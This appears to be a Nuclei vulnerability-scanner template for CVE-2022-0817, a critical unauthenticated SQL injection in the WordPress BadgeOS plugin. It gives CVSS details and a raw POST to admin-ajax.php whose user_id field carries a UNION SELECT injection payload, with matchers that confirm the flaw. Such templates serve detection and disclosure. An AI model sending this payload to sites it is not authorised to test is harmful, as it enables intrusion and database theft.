id: CVE-2022-0817

info:
  name: WordPress BadgeOS <=3.7.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress BadgeOS plugin through 3.7.0  contains a SQL injection vulnerability. It does not sanitize and escape a parameter before using it in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://wpscan.com/vulnerability/69263610-f454-4f27-80af-be523d25659e
    - https://wordpress.org/plugins/badgeos/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0817
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0817
    cwe-id: CWE-89
    cpe: cpe:2.3:a:badgeos:badgeos:*:*:*:*:*:*:*:*
    epss-score: 0.01364
  metadata:
    max-request: 1
    verified: true
  tags: cve2022,wp,unauth,sqli,cve,wp-plugin,badgeos,wpscan,wordpress

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=get-achievements&total_only=true&user_id=11 UNION ALL SELECT NULL,CONCAT(1,md5({{num}}),1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(body, md5(num))"
          - 'contains(content_type, "application/json")'
          - 'contains(body, "badgeos-arrange-buttons")'
        condition: and